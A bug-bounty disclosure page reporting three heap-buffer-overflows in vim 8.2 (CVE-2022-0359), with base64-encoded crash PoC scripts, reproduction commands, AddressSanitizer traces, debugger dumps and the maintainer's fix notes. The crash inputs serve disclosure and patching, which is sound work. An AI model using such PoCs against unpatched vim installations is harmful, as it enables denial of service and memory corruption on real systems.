Heap-based Buffer Overflow in vim/vim

Valid Reported on Jan 24th 2022

0

Description

2 Heap-buffer-overflow on write in vim
1 Heap-buffer-overflow on read in vim

Heap-buffer-overflow on write in vim #1

Proof of Concept

Steps to reproduce:

```
echo -n cmV0ODAwCnMvXHYvCQpzZSBhaQpzaWwwbm9ybTppDQ== | base64 -d > heap_ow_poc1
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc1 -c :qa!
```

Sanitizer output:

```
==25213==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000(
WRITE of size 800 at 0x612000000a4e thread T0
    #0 0x4959ce in __asan_memset (/home/presler/fuzzing/vim_sanitized/src/v
    #1 0x7aeda7 in memset /usr/include/x86_64-linux-gnu/bits/string_fortifi
    #2 0x7aeda7 in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_g
    #3 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/e
    #4 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_ge
    #5 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_get
    #6 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmd
    #7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #9 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal.
    #10 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norm
    #11 0x76d4dc in exec_normal /home/presler/fuzzing/vim_s
    #12 0x76d33d in exec_normal_cmd /home/presler/fuzzing/v
    #13 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
```

```
    #14 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_c
    #15 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #16 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip

    #17 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #18 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #19 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_c
    #20 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #21 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #22 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #23 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #24 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #25 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #26 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x4

0x612000000a4e is located 0 bytes to the right of 270-byte region [0x612000
allocated by thread T0 here:
    #0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49
    #1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:2
    #2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:15
    #3 0x7a74a1 in alloc_cmdbuff /home/presler/fuzzing/vim_sanitized/src/ex
    #4 0x7aed3d in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_g
    #5 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/e
    #6 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_ge
    #7 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_get
    #8 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmd
    #9 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #10 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #11 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal
    #12 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norm
    #13 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_
    #14 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src
    #15 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
    #16 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_c
    #17 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #18 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #19 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #20 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #21 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_san
    #22 0x73775f in do_cmdline /home/presler/fuzzing/vim_sa
    #23 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
```

```
    #24 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #25 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #26 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42

    #27 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/presler/fuzzing/vim_
Shadow bytes around the buggy address:
  0x0c247fff80f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff8110: 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa fa
  0x0c247fff8120: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8140: 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa fa
  0x0c247fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==25213==ABORTING
```

Dump

```
presler :: fuzzing/pure_vim/src ‹master*› » ./vim --version
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Jan 24 2022 12:37:28)
Included patches: 1-4198
Compiled by presler@presler
Huge version without GUI.  Features included (+) or not (-):
+acl               +file_in_path      +mouse_urxvt       -tag_any_white
+arabic            +find_in_path      +mouse_xterm       -tcl
+autocmd           +float             +multi_byte        +termguicolors
+autochdir         +folding           +multi_lang        +terminal
-autoservername    -footer            -mzscheme          +terminfo
-balloon_eval      +fork()            +netbeans_intg     +termresponse
+balloon_eval_term +gettext           +num64             +textobjects
-browse            -hangul_input      +packages          +textprop
++builtin_terms    +iconv             +path_extra        +timers
+byte_offset       +insert_expand     -perl              +title
+channel           +ipv6              +persistent_undo   -toolbar
+cindent           +job               +popupwin          +user_commands
-clientserver      +jumplist          +postscript        +vartabs
-clipboard         +keymap            +printer           +vertsplit
+cmdline_compl     +lambda            +profile           +vim9script
+cmdline_hist      +langmap           -python            +viminfo
+cmdline_info      +libcall           -python3           +virtualedit
+comments          +linebreak         +quickfix          +visual
+conceal           +lispindent        +reltime           +visualextra
+cryptv            +listcmds          +rightleft         +vreplace
+cscope            +localmap          -ruby              +wildignore
+cursorbind        -lua               +scrollbind        +wildmenu
+cursorshape       +menu              +signs             +windows
+dialog_con        +mksession         +smartindent       +writebackup
+diff              +modify_fname      -sodium            -X11
+digraphs          +mouse             -sound             -xfontset
-dnd               -mouseshape        +spell             -xim
-ebcdic            +mouse_dec         +startuptime       -xpm
+emacs_tags        -mouse_gpm         +statusline        -xsmp
+eval              -mouse_jsbterm     -sun_workshop      -x
+ex_extra          +mouse_netterm     +syntax            -xt
+extra_search      +mouse_sgr         +tag_binary
```

```
-farsi             -mouse_sysmouse    -tag_old_static
   system vimrc file: "$VIM/vimrc"
     user vimrc file: "$HOME/.vimrc"
 2nd user vimrc file: "~/.vim/vimrc"
      user exrc file: "$HOME/.exrc"
       defaults file: "$VIMRUNTIME/defaults.vim"
  fall-back for $VIM: "/usr/local/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -g3 -D_REENTRANT -U_FORTIFY
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lSM -lICE -lm -ltinfo
```

```
presler :: fuzzing/pure_vim/src ‹master*› » ./vim -u NONE -i NONE -n -X -Z
malloc(): invalid size (unsorted)
[1]    25915 abort      ./vim -u NONE -i NONE -n -X -Z -e -m -s -S  -c :qa!
```

```
presler :: fuzzing/pure_vim/src ‹master*› » gdb ./vim -q
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vim...
pwndbg> r -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/sr
Starting program: /home/presler/fuzzing/pure_vim/src/vim -u NONE -i NONE -r
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
malloc(): invalid size (unsorted)

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
```

```
 RAX  0x0
 RBX  0x7ffff7b54800 ◂— 0x7ffff7b54800
 RCX  0x7ffff7c5218b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
 RDX  0x0
 RDI  0x2
 RSI  0x7fffffffb050 ◂— 0x0
```

```
R8   0x0
R9   0x7fffffffb050 ◂— 0x0
R10  0x8
R11  0x246
R12  0x7fffffffb2c0 ◂— 0x0
R13  0x10
R14  0x7ffff7fba000 ◂— 0x6c6c616d00001000
R15  0x1
RBP  0x7fffffffb3a0 ◂— 0x0
RSP  0x7fffffffb050 ◂— 0x0
RIP  0x7ffff7c5218b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
```

```
► 0x7ffff7c5218b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
  0x7ffff7c52193 <raise+211>    xor    rax, qword ptr fs:[0x28]
  0x7ffff7c5219c <raise+220>    jne    raise+260 <raise+260>
   ↓
  0x7ffff7c521c4 <raise+260>    call   __stack_chk_fail <__stack_chk_fail>

  0x7ffff7c521c9                nop    dword ptr [rax]
  0x7ffff7c521d0 <killpg>       endbr64
  0x7ffff7c521d4 <killpg+4>     test   edi, edi
  0x7ffff7c521d6 <killpg+6>     js     killpg+16 <killpg+16>

  0x7ffff7c521d8 <killpg+8>     neg    edi
  0x7ffff7c521da <killpg+10>    jmp    kill <kill>

  0x7ffff7c521df <killpg+15>    nop
```

```
00:0000│ rsi r9 rsp 0x7fffffffb050 ◂— 0x0
... ↓               7 skipped
```

```
► f 0   0x7ffff7c5218b raise+203
  f 1   0x7ffff7c31859 abort+299
  f 2   0x7ffff7c9c3ee __libc_message+670
  f 3   0x7ffff7ca447c
  f 4   0x7ffff7ca7234 _int_malloc+1604
  f 5   0x7ffff7ca92d4 malloc+116
  f 6   0x555555589cf9 lalloc+75
  f 7   0x555555589b90 alloc+33
```

```
pwndbg> bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff7c31859 in __GI_abort () at abort.c:79

#2  0x00007ffff7c9c3ee in __libc_message (action=action@entry=do_abort, fmt
#3  0x00007ffff7ca447c in malloc_printerr (str=str@entry=0x7ffff7dc8a50 "mo
#4  0x00007ffff7ca7234 in _int_malloc (av=av@entry=0x7ffff7df7b80 <main_are
#5  0x00007ffff7ca92d4 in __GI___libc_malloc (bytes=1) at malloc.c:3058
#6  0x0000555555589cf9 in lalloc (size=1, message=1) at alloc.c:248
#7  0x0000555555589b90 in alloc (size=1) at alloc.c:151
#8  0x00005555557820c3 in vim_strsave (string=0x55555586fe58 "") at strings
#9  0x00005555555ffcd4 in set_vim_var_string (idx=5, val=0x55555586fe58 "",
#10 0x00005555558614fd in msg_attr_keep (s=0x55555586fe58 "", attr=0, keep=
#11 0x000055555586143a in msg (s=0x55555586fe58 "") at message.c:102
#12 0x0000555555627c1e in abandon_cmdline () at ex_getln.c:85
#13 0x000055555562c58f in getcmdline_int (firstc=0, count=1, indent=800, cl
#14 0x000055555562aaab in getcmdline (firstc=0, count=1, indent=800, do_cor
#15 0x000055555562cd94 in getexline (c=0, cookie=0x0, indent=800, options=0
#16 0x000055555560d330 in ex_append (eap=0x7fffffffb8e0) at ex_cmds.c:3319
#17 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffbb10, flags=0, cst
#18 0x0000555555613b8a in do_cmdline (cmdline=0x0, fgetline=0x55555562cd4d
#19 0x00005555556b6a10 in nv_colon (cap=0x7fffffffc310) at normal.c:3470
#20 0x00005555556b2a34 in normal_cmd (oap=0x7fffffffc3a0, toplevel=1) at no
#21 0x0000555555621e46 in exec_normal (was_typed=0, use_vpeekc=0, may_use_t
#22 0x0000555555621d8a in exec_normal_cmd (cmd=0x55555593bc18 ":i\r", remap
#23 0x0000555555621b98 in ex_normal (eap=0x7fffffffc5f0) at ex_docmd.c:8519
#24 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffc820, flags=7, cst
#25 0x0000555555613b8a in do_cmdline (cmdline=0x5555559385f0 "ret800", fget
#26 0x0000555555745dba in do_source (fname=0x555555938033 "/home/presler/fu
#27 0x00005555557451b7 in cmd_source (fname=0x555555938033 "/home/presler/f
#28 0x0000555555745207 in ex_source (eap=0x7fffffffd1a0) at scriptfile.c:11
#29 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffd3d0, flags=11, cs
#30 0x0000555555613b8a in do_cmdline (cmdline=0x555555934430 "so /home/pres
#31 0x0000555555613015 in do_cmdline_cmd (cmd=0x555555934430 "so /home/pres
#32 0x000055555585e474 in exe_commands (parmp=0x55555591b480 <params>) at m
#33 0x000055555585b3ca in vim_main2 () at main.c:774
#34 0x000055555585ad71 in main (argc=15, argv=0x7fffffffdcb8) at main.c:426
#35 0x00007ffff7c330b3 in __libc_start_main (main=0x55555585a939 <main>, ar
#36 0x0000555555589a4e in _start ()
```

Heap-buffer-overflow on write in vim #2

Proof of Concept

Steps to reproduce:

```
echo -n
bm9ybTBRgFBTMP8wMDCysDAwMDAwMDAwMDAw/zD/g7IwMDAwMDAwMDAwjjAwMDAwMDAwMDAwMDAwMDAwM
DAwMDAD | base64 -d > heap_ow_poc2
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc2 -c :qa!
```

Sanitizer output:

```
==1637==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60700000
WRITE of size 1 at 0x607000000e66 thread T0
    #0 0x7a6af1 in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex
    #1 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #2 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #3 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal
    #4 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normc
    #5 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_d
    #6 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/
    #7 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #8 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #9 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #10 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #11 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #12 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #13 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #14 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #15 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #16 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #17 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/mair
    #18 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #19 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #20 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x4

0x607000000e66 is located 0 bytes to the right of 70-byte r
allocated by thread T0 here:
    #0 0x496589 in realloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x4
```

```
    #1 0x4c7722 in ga_grow_inner /home/presler/fuzzing/vim_sanitized/src/al
    #2 0x4c74dd in ga_grow /home/presler/fuzzing/vim_sanitized/src/alloc.c:
    #3 0x648655 in bracketed_paste /home/presler/fuzzing/vim_sanitized/src/

    #4 0x7a4aee in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex
    #5 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #6 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #7 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal
    #8 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norm
    #9 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_d
    #10 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src
    #11 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
    #12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #14 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #15 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #16 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #17 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #18 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #19 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #20 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #21 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #22 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #23 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_s
Shadow bytes around the buggy address:
  0x0c0e7fff8170: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x0c0e7fff8180: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x0c0e7fff8190: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
  0x0c0e7fff81a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0e7fff81b0: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 01
=>0x0c0e7fff81c0: fa fa fa fa 00 00 00 00 00 00 00 00[06]fa fa fa
  0x0c0e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
```

```
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1

  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1637==ABORTING
```

Heap-buffer-overflow on read in vim #1

Proof of Concept

Steps to reproduce:

```
echo -n c2lsIW5vcm0wbxSA/zAWenk= | base64 -d > heap_ow_poc3
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc3 -c :qa!
```

Sanitizer output:

```
==1937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000
READ of size 1 at 0x60200000722f thread T0
    #0 0xc35e39 in yank_copy_line /home/presler/fuzzing/vim_sanitized/src/r
    #1 0xc30874 in op_yank /home/presler/fuzzing/vim_sanitized/src/register
    #2 0xa7bffa in do_pending_operator /home/presler/fuzzing/vim_sanitized/
    #3 0x9fef02 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norma
    #4 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sa
    #5 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/
    #6 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
```

```
    #7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #9 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/script
    #10 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #11 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #14 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #15 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #16 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #17 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #18 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #19 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x4

0x60200000722f is located 1 bytes to the left of 2-byte region [0x602000007
allocated by thread T0 here:
    #0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49
    #1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:2
    #2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:15
    #3 0x8aaf87 in set_indent /home/presler/fuzzing/vim_sanitized/src/inden
    #4 0xa50bca in shift_line /home/presler/fuzzing/vim_sanitized/src/ops.c
    #5 0x8b42e4 in change_indent /home/presler/fuzzing/vim_sanitized/src/in
    #6 0x643eea in ins_shift /home/presler/fuzzing/vim_sanitized/src/edit.c
    #7 0x63ae2f in edit /home/presler/fuzzing/vim_sanitized/src/edit.c:956:
    #8 0xa3f602 in invoke_edit /home/presler/fuzzing/vim_sanitized/src/norm
    #9 0xa40d1f in n_opencmd /home/presler/fuzzing/vim_sanitized/src/normal
    #10 0xa27858 in nv_open /home/presler/fuzzing/vim_sanitized/src/normal.
    #11 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norm
    #12 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_
    #13 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src
    #14 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
    #15 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #16 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #17 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #18 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #19 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #20 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #21 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #22 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #23 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
```

```
    #24 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/mair
    #25 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #26 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_s
Shadow bytes around the buggy address:
  0x0c047fff8df0: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8e00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fff8e10: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fff8e20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8e30: fa fa fd fd fa fa fd fa fa fa 01 fa fa fa 00 00
=>0x0c047fff8e40: fa fa 01 fa fa[fa]02 fa fa fa 05 fa fa fa fd fa
  0x0c047fff8e50: fa fa 02 fa fa fa 02 fa fa fa 00 fa fa fa 02 fa
  0x0c047fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1937==ABORTING
```

Impact

This vulnerabilities are capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

References

- https://github.com/pres1er

CVE
CVE-2022-0359
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
Medium (6.1)

Visibility
Public

Status
Fixed

Found by

knnikita
@knnikita
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,084 times.

We are processing your report and will contact the vim team within 24 hou

Chat with us

knnikita modified the report 10 months ago

knnikita modified the report 10 months ago

We have contacted a member of the vim team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago Maintainer

This looks like three separate issues. I'll look into the first one. You might want to move the second and third one to another report. In case they turn out the same cause (unlikely, since the stack traces are very different), they can be marked as invalid.

knnikita 10 months ago Researcher

Yeah, I was going to create three different issues, but when I choose vulnerability type the platform asked me to edit this issue. I thought the platform wants to group issues by author. I'm going to separate issues.

Bram Moolenaar validated this vulnerability 10 months ago

knnikita has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

The first issue is fixed with patch 8.2.4214. It also adds a test that failed before the patch.

Bram Moolenaar marked this as fixed in 8.2 with commit 85b674 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Bram Moolenaar 10 months ago Maintainer

The second issue is fixed with Patch 8.2.4218 and the third one with 8.2.4219.
If you want to report them separately, use the version before these patches.

Sign in to join this conversation